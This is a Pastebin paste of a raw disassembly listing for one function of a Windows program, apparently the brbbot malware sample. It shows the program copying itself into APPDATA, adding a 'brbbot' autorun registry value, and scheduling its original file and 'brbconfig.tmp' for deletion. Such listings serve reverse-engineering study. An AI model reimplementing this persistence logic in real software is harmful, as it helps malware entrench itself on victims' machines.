API tools faq
paste
Guest User

sub_140002230

a guest
Aug 20th, 2025
8
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.14 KB | None | 0 0
raw download clone embed print report
  1. .text:0000000140002230
  2. .text:0000000140002230 sub_140002230 proc near ; CODE XREF: wWinMain+43↓p
  3. .text:0000000140002230 ; DATA XREF: .rdata:00000001400109E0↓o ...
  4. .text:0000000140002230
  5. .text:0000000140002230 phkResult = qword ptr -268h
  6. .text:0000000140002230 cbData = dword ptr -260h
  7. .text:0000000140002230 hKey = qword ptr -258h
  8. .text:0000000140002230 Buffer = byte ptr -248h
  9. .text:0000000140002230 var_247 = byte ptr -247h
  10. .text:0000000140002230 Filename = byte ptr -138h
  11. .text:0000000140002230 var_137 = byte ptr -137h
  12. .text:0000000140002230 var_28 = qword ptr -28h
  13. .text:0000000140002230 var_18 = qword ptr -18h
  14. .text:0000000140002230 arg_0 = qword ptr 8
  15. .text:0000000140002230 arg_8 = qword ptr 10h
  16. .text:0000000140002230 arg_10 = qword ptr 18h
  17. .text:0000000140002230
  18. .text:0000000140002230 ; __unwind { // __GSHandlerCheck
  19. .text:0000000140002230 push rbx
  20. .text:0000000140002232 push rdi
  21. .text:0000000140002233 sub rsp, 278h
  22. .text:000000014000223A mov rax, cs:qword_140012008
  23. .text:0000000140002241 xor rax, rsp
  24. .text:0000000140002244 mov [rsp+288h+var_28], rax
  25. .text:000000014000224C lea rcx, [rsp+288h+var_137] ; void *
  26. .text:0000000140002254 xor edx, edx ; Val
  27. .text:0000000140002256 mov r8d, 103h ; Size
  28. .text:0000000140002256 ; } // starts at 140002230
  29. .text:000000014000225C
  30. .text:000000014000225C loc_14000225C: ; DATA XREF: .rdata:00000001400109E0↓o
  31. .text:000000014000225C ; .rdata:00000001400109F0↓o ...
  32. .text:000000014000225C ; __unwind { // __GSHandlerCheck
  33. .text:000000014000225C mov [rsp+288h+arg_0], rbp
  34. .text:0000000140002264 mov edi, 8000FFFFh
  35. .text:0000000140002269 mov [rsp+288h+Filename], 0
  36. .text:0000000140002271 call memset
  37. .text:0000000140002276 lea rcx, [rsp+288h+var_247] ; void *
  38. .text:000000014000227B xor edx, edx ; Val
  39. .text:000000014000227D mov r8d, 103h ; Size
  40. .text:0000000140002283 mov [rsp+288h+Buffer], 0
  41. .text:0000000140002288 call memset
  42. .text:000000014000228D xor ecx, ecx ; lpModuleName
  43. .text:000000014000228F mov [rsp+288h+hKey], 0
  44. .text:0000000140002298 xor ebx, ebx
  45. .text:000000014000229A xor ebp, ebp
  46. .text:000000014000229C call cs:GetModuleHandleW
  47. .text:00000001400022A2 lea rdx, [rsp+288h+Filename] ; lpFilename
  48. .text:00000001400022AA mov r8d, 104h ; nSize
  49. .text:00000001400022B0 mov rcx, rax ; hModule
  50. .text:00000001400022B3 call cs:GetModuleFileNameA
  51. .text:00000001400022B9 test eax, eax
  52. .text:00000001400022BB jnz short loc_1400022DB
  53. .text:00000001400022BD call cs:GetLastError
  54. .text:00000001400022C3 mov edi, eax
  55. .text:00000001400022C5 test eax, eax
  56. .text:00000001400022C7 jle loc_1400024E3
  57. .text:00000001400022CD movzx edi, ax
  58. .text:00000001400022D0 or edi, 80070000h
  59. .text:00000001400022D6 jmp loc_1400024E3
  60. .text:00000001400022DB ; ---------------------------------------------------------------------------
  61. .text:00000001400022DB
  62. .text:00000001400022DB loc_1400022DB: ; CODE XREF: sub_140002230+8B↑j
  63. .text:00000001400022DB lea rcx, [rsp+288h+Filename] ; Str
  64. .text:00000001400022E3 mov edx, 5Ch ; '\' ; Ch
  65. .text:00000001400022E3 ; } // starts at 14000225C
  66. .text:00000001400022E8
  67. .text:00000001400022E8 loc_1400022E8: ; DATA XREF: .rdata:00000001400109F0↓o
  68. .text:00000001400022E8 ; .rdata:0000000140010A00↓o ...
  69. .text:00000001400022E8 ; __unwind { // __GSHandlerCheck
  70. .text:00000001400022E8 mov [rsp+288h+arg_10], r12
  71. .text:00000001400022F0 call strrchr
  72. .text:00000001400022F5 lea rdx, [rsp+288h+Buffer] ; lpBuffer
  73. .text:00000001400022FA lea rcx, Name ; "APPDATA"
  74. .text:0000000140002301 mov r8d, 104h ; nSize
  75. .text:0000000140002307 mov r12, rax
  76. .text:000000014000230A call cs:GetEnvironmentVariableA
  77. .text:0000000140002310 test eax, eax
  78. .text:0000000140002312 jz loc_1400024DB
  79. .text:0000000140002318 lea rdx, [rsp+288h+Buffer] ; SubStr
  80. .text:000000014000231D lea rcx, [rsp+288h+Filename] ; Str
  81. .text:000000014000231D ; } // starts at 1400022E8
  82. .text:0000000140002325
  83. .text:0000000140002325 loc_140002325: ; DATA XREF: .rdata:0000000140010A00↓o
  84. .text:0000000140002325 ; .rdata:0000000140010A18↓o ...
  85. .text:0000000140002325 ; __unwind { // __GSHandlerCheck
  86. .text:0000000140002325 mov [rsp+288h+arg_8], rsi
  87. .text:000000014000232D mov [rsp+288h+var_18], r13
  88. .text:0000000140002335 call strstr
  89. .text:000000014000233A xor esi, esi
  90. .text:000000014000233C test rax, rax
  91. .text:000000014000233F mov r13d, 1
  92. .text:0000000140002345 mov rdi, r12
  93. .text:0000000140002348 cmovnz esi, r13d
  94. .text:000000014000234C or rcx, 0FFFFFFFFFFFFFFFFh
  95. .text:0000000140002350 xor eax, eax
  96. .text:0000000140002352 repne scasb
  97. .text:0000000140002354 lea rdi, [rsp+288h+Buffer]
  98. .text:0000000140002359 not rcx
  99. .text:000000014000235C lea rdx, [rcx-1]
  100. .text:0000000140002360 or rcx, 0FFFFFFFFFFFFFFFFh
  101. .text:0000000140002364 repne scasb
  102. .text:0000000140002366 not rcx
  103. .text:0000000140002369 lea rdi, [rdx+rcx+3]
  104. .text:000000014000236E call cs:GetProcessHeap
  105. .text:0000000140002374 lea edx, [r13+7] ; dwFlags
  106. .text:0000000140002378 mov rcx, rax ; hHeap
  107. .text:000000014000237B mov r8, rdi ; dwBytes
  108. .text:000000014000237E call cs:HeapAlloc
  109. .text:0000000140002384 mov rbx, rax
  110. .text:0000000140002387 test rax, rax
  111. .text:000000014000238A jnz short loc_140002396
  112. .text:000000014000238C mov edi, 8007000Eh
  113. .text:0000000140002391 jmp loc_1400024CB
  114. .text:0000000140002396 ; ---------------------------------------------------------------------------
  115. .text:0000000140002396
  116. .text:0000000140002396 loc_140002396: ; CODE XREF: sub_140002230+15A↑j
  117. .text:0000000140002396 or rcx, 0FFFFFFFFFFFFFFFFh
  118. .text:000000014000239A xor eax, eax
  119. .text:000000014000239C lea rdi, [rsp+288h+Buffer]
  120. .text:00000001400023A1 repne scasb
  121. .text:00000001400023A3 lea rdx, [rsp+288h+Buffer] ; Source
  122. .text:00000001400023A8 not rcx
  123. .text:00000001400023AB lea r8, [rcx-1] ; Count
  124. .text:00000001400023AF mov rcx, rbx ; Destination
  125. .text:00000001400023B2 call strncpy
  126. .text:00000001400023B7 or rcx, 0FFFFFFFFFFFFFFFFh
  127. .text:00000001400023BB xor eax, eax
  128. .text:00000001400023BD mov rdi, r12
  129. .text:00000001400023C0 mov rdx, r12 ; Source
  130. .text:00000001400023C3 repne scasb
  131. .text:00000001400023C5 not rcx
  132. .text:00000001400023C8 lea r8, [rcx-1] ; Count
  133. .text:00000001400023CC mov rcx, rbx ; Destination
  134. .text:00000001400023CF call strncat
  135. .text:00000001400023D4 lea rcx, [rsp+288h+Filename] ; lpExistingFileName
  136. .text:00000001400023DC xor r8d, r8d ; bFailIfExists
  137. .text:00000001400023DF mov rdx, rbx ; lpNewFileName
  138. .text:00000001400023E2 call cs:CopyFileA
  139. .text:00000001400023E8 test eax, eax
  140. .text:00000001400023EA jnz short loc_14000240E
  141. .text:00000001400023EC test esi, esi
  142. .text:00000001400023EE jnz short loc_14000240E
  143. .text:00000001400023F0 call cs:GetLastError
  144. .text:00000001400023F6 mov edi, eax
  145. .text:00000001400023F8 test eax, eax
  146. .text:00000001400023FA jle loc_1400024CB
  147. .text:0000000140002400 movzx edi, ax
  148. .text:0000000140002403 or edi, 80070000h
  149. .text:0000000140002409 jmp loc_1400024CB
  150. .text:000000014000240E ; ---------------------------------------------------------------------------
  151. .text:000000014000240E
  152. .text:000000014000240E loc_14000240E: ; CODE XREF: sub_140002230+1BA↑j
  153. .text:000000014000240E ; sub_140002230+1BE↑j
  154. .text:000000014000240E lea rax, [rsp+288h+hKey]
  155. .text:0000000140002413 lea rdx, SubKey ; "Software\\Microsoft\\Windows\\CurrentVe"...
  156. .text:000000014000241A mov r9d, 20006h ; samDesired
  157. .text:0000000140002420 xor r8d, r8d ; ulOptions
  158. .text:0000000140002423 mov rcx, 0FFFFFFFF80000002h ; hKey
  159. .text:000000014000242A mov ebp, r13d
  160. .text:000000014000242D mov [rsp+288h+phkResult], rax ; phkResult
  161. .text:0000000140002432 call cs:RegOpenKeyExA
  162. .text:0000000140002438 mov edi, eax
  163. .text:000000014000243A test eax, eax
  164. .text:000000014000243C jz short loc_14000244F
  165. .text:000000014000243E jle loc_1400024CB
  166. .text:0000000140002444 movzx edi, ax
  167. .text:0000000140002447 or edi, 80070000h
  168. .text:000000014000244D jmp short loc_1400024CB
  169. .text:000000014000244F ; ---------------------------------------------------------------------------
  170. .text:000000014000244F
  171. .text:000000014000244F loc_14000244F: ; CODE XREF: sub_140002230+20C↑j
  172. .text:000000014000244F or rcx, 0FFFFFFFFFFFFFFFFh
  173. .text:0000000140002453 xor eax, eax
  174. .text:0000000140002455 mov rdi, rbx
  175. .text:0000000140002458 repne scasb
  176. .text:000000014000245A lea rdx, ValueName ; "brbbot"
  177. .text:0000000140002461 mov r9d, r13d ; dwType
  178. .text:0000000140002464 not rcx
  179. .text:0000000140002467 xor r8d, r8d ; Reserved
  180. .text:000000014000246A and ecx, ecx
  181. .text:000000014000246C mov [rsp+288h+cbData], ecx ; cbData
  182. .text:0000000140002470 mov rcx, [rsp+288h+hKey] ; hKey
  183. .text:0000000140002475 mov [rsp+288h+phkResult], rbx ; lpData
  184. .text:000000014000247A call cs:RegSetValueExA
  185. .text:0000000140002480 mov edi, eax
  186. .text:0000000140002482 test eax, eax
  187. .text:0000000140002484 jz short loc_140002493
  188. .text:0000000140002486 jle short loc_1400024CB
  189. .text:0000000140002488 movzx edi, ax
  190. .text:000000014000248B or edi, 80070000h
  191. .text:0000000140002491 jmp short loc_1400024CB
  192. .text:0000000140002493 ; ---------------------------------------------------------------------------
  193. .text:0000000140002493
  194. .text:0000000140002493 loc_140002493: ; CODE XREF: sub_140002230+254↑j
  195. .text:0000000140002493 mov rcx, [rsp+288h+hKey] ; hKey
  196. .text:0000000140002498 call cs:RegFlushKey
  197. .text:000000014000249E test esi, esi
  198. .text:00000001400024A0 jnz short loc_1400024B6
  199. .text:00000001400024A2 lea r8d, [rsi+4] ; dwFlags
  200. .text:00000001400024A6 lea rcx, [rsp+288h+Filename] ; lpExistingFileName
  201. .text:00000001400024AE xor edx, edx ; lpNewFileName
  202. .text:00000001400024B0 call cs:MoveFileExA
  203. .text:00000001400024B6
  204. .text:00000001400024B6 loc_1400024B6: ; CODE XREF: sub_140002230+270↑j
  205. .text:00000001400024B6 xor edx, edx ; lpNewFileName
  206. .text:00000001400024B8 lea rcx, FileName ; "brbconfig.tmp"
  207. .text:00000001400024BF lea r8d, [rdx+4] ; dwFlags
  208. .text:00000001400024C3 call cs:MoveFileExA
  209. .text:00000001400024C9 xor edi, edi
  210. .text:00000001400024CB
  211. .text:00000001400024CB loc_1400024CB: ; CODE XREF: sub_140002230+161↑j
  212. .text:00000001400024CB ; sub_140002230+1CA↑j ...
  213. .text:00000001400024CB mov rsi, [rsp+288h+arg_8]
  214. .text:00000001400024D3 mov r13, [rsp+288h+var_18]
  215. .text:00000001400024D3 ; } // starts at 140002325
  216. .text:00000001400024DB
  217. .text:00000001400024DB loc_1400024DB: ; CODE XREF: sub_140002230+E2↑j
  218. .text:00000001400024DB ; DATA XREF: .pdata:0000000140016144↓o ...
  219. .text:00000001400024DB ; __unwind { // __GSHandlerCheck
  220. .text:00000001400024DB mov r12, [rsp+288h+arg_10]
  221. .text:00000001400024DB ; } // starts at 1400024DB
  222. .text:00000001400024E3
  223. .text:00000001400024E3 loc_1400024E3: ; CODE XREF: sub_140002230+97↑j
  224. .text:00000001400024E3 ; sub_140002230+A6↑j
  225. .text:00000001400024E3 ; DATA XREF: ...
  226. .text:00000001400024E3 ; __unwind { // __GSHandlerCheck ; hKey
  227. .text:00000001400024E3 mov rcx, [rsp+288h+hKey]
  228. .text:00000001400024E8 test rcx, rcx
  229. .text:00000001400024EB jz short loc_1400024F3
  230. .text:00000001400024ED call cs:RegCloseKey
  231. .text:00000001400024F3
  232. .text:00000001400024F3 loc_1400024F3: ; CODE XREF: sub_140002230+2BB↑j
  233. .text:00000001400024F3 test edi, edi
  234. .text:00000001400024F5 jns short loc_140002504
  235. .text:00000001400024F7 test ebp, ebp
  236. .text:00000001400024F9 jz short loc_140002504
  237. .text:00000001400024FB mov rcx, rbx ; lpFileName
  238. .text:00000001400024FE call cs:DeleteFileA
  239. .text:0000000140002504
  240. .text:0000000140002504 loc_140002504: ; CODE XREF: sub_140002230+2C5↑j
  241. .text:0000000140002504 ; sub_140002230+2C9↑j
  242. .text:0000000140002504 mov rbp, [rsp+288h+arg_0]
  243. .text:000000014000250C test rbx, rbx
  244. .text:000000014000250F jz short loc_140002525
  245. .text:000000014000250F ; } // starts at 1400024E3
  246. .text:0000000140002511
  247. .text:0000000140002511 loc_140002511: ; DATA XREF: .pdata:000000014001615C↓o
  248. .text:0000000140002511 ; .pdata:0000000140016168↓o
  249. .text:0000000140002511 ; __unwind { // __GSHandlerCheck
  250. .text:0000000140002511 call cs:GetProcessHeap
  251. .text:0000000140002517 mov r8, rbx ; lpMem
  252. .text:000000014000251A xor edx, edx ; dwFlags
  253. .text:000000014000251C mov rcx, rax ; hHeap
  254. .text:000000014000251F call cs:HeapFree
  255. .text:0000000140002525
  256. .text:0000000140002525 loc_140002525: ; CODE XREF: sub_140002230+2DF↑j
  257. .text:0000000140002525 mov eax, edi
  258. .text:0000000140002527 mov rcx, [rsp+288h+var_28]
  259. .text:000000014000252F xor rcx, rsp ; StackCookie
  260. .text:0000000140002532 call __security_check_cookie
  261. .text:0000000140002537 add rsp, 278h
  262. .text:000000014000253E pop rdi
  263. .text:000000014000253F pop rbx
  264. .text:0000000140002540 retn
  265. .text:0000000140002540 ; } // starts at 140002511
  266. .text:0000000140002540 sub_140002230 endp
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!